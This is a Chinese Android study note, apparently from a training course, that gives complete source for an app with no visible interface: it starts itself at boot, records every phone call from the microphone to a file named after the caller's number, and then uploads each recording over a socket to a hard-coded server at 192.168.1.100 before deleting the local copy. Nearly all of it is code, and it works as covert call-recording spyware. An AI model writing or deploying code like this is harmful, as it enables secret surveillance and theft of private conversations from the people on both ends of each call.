曾经的札记——android的学习笔记（使用Service和BroadCastReceiver实现电话Listener）

曾经的笔记——android的学习笔记（使用Service和BroadCastReceiver实现电话Listener）
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
??? package="cn.itcast.phonelistener"
??? android:versionCode="1"
??? android:versionName="1.0" >

??? <uses-sdk android:minSdkVersion="8" />

??? <application
??????? android:icon="@drawable/ic_launcher"
??????? android:label="@string/app_name" >
???????
??????? <service android:name=".PhoneService"/>
???????
??????? <receiver android:name=".BootBroadcastReceiver">
??????????? <intent-filter >
??????????????? <action android:name="android.intent.action.BOOT_COMPLETED"/>
??????????? </intent-filter>
??????? </receiver>
??? </application>

??? <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
?<!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
?<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>?????????
</manifest>

----------------------------------------------------

public class BootBroadcastReceiver extends BroadcastReceiver {

?@Override
?public void onReceive(Context context, Intent intent) {
??Intent service = new Intent(context, PhoneService.class);//显式/隐式
??context.startService(service);//Intent激活组件(Service)
?}

}

------------------------------------------------------------

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

?@Override
?public IBinder onBind(Intent intent) {
??// TODO Auto-generated method stub
??return null;
?}

?@Override
?public void onCreate() {
??super.onCreate();
??TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
??telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
?}
?
?private final class PhoneListener extends PhoneStateListener{
??private String incomingNumber;
??private File file;
??private MediaRecorder mediaRecorder;
??
??@Override
??public void onCallStateChanged(int state, String incomingNumber) {
???try {
????switch (state) {
????case TelephonyManager.CALL_STATE_RINGING://来电
?????this.incomingNumber = incomingNumber;
?????break;

????case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
?????file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
?????mediaRecorder = new MediaRecorder();
?????mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
?????mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
?????mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
?????mediaRecorder.setOutputFile(file.getAbsolutePath());
?????mediaRecorder.prepare();
?????mediaRecorder.start();//开始录音
?????break;
?????
????case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
?????if(mediaRecorder != null){
??????mediaRecorder.stop();
??????mediaRecorder.release();
??????mediaRecorder = null;
??????uploadFile();
?????}
?????break;
????}
???} catch (Exception e) {
????e.printStackTrace();
???}
??}

??private void uploadFile() {
???new Thread(new Runnable() {????
????public void run() {
?????try {
??????if(file!=null && file.exists()){
???????Socket socket = new Socket("192.168.1.100", 7878);
??????????????? OutputStream outStream = socket.getOutputStream();
??????????????? String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
??????????????? outStream.write(head.getBytes());
???????????????
??????????????? PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());?
???????String response = StreamTool.readLine(inStream);
??????????????? String[] items = response.split(";");
???????String position = items[1].substring(items[1].indexOf("=")+1);
???????
???????RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
???????fileOutStream.seek(Integer.valueOf(position));
???????byte[] buffer = new byte[1024];
???????int len = -1;
???????while( (len = fileOutStream.read(buffer)) != -1){
????????outStream.write(buffer, 0, len);
???????}
???????fileOutStream.close();
???????outStream.close();
??????????????? inStream.close();
??????????????? socket.close();
??????????????? file.delete();
??????????????? file = null;
?????????????? }
?????????? } catch (Exception e) {???????????????????
?????????????? e.printStackTrace();
?????????? }
????}
???}).start();
??}??
?}
}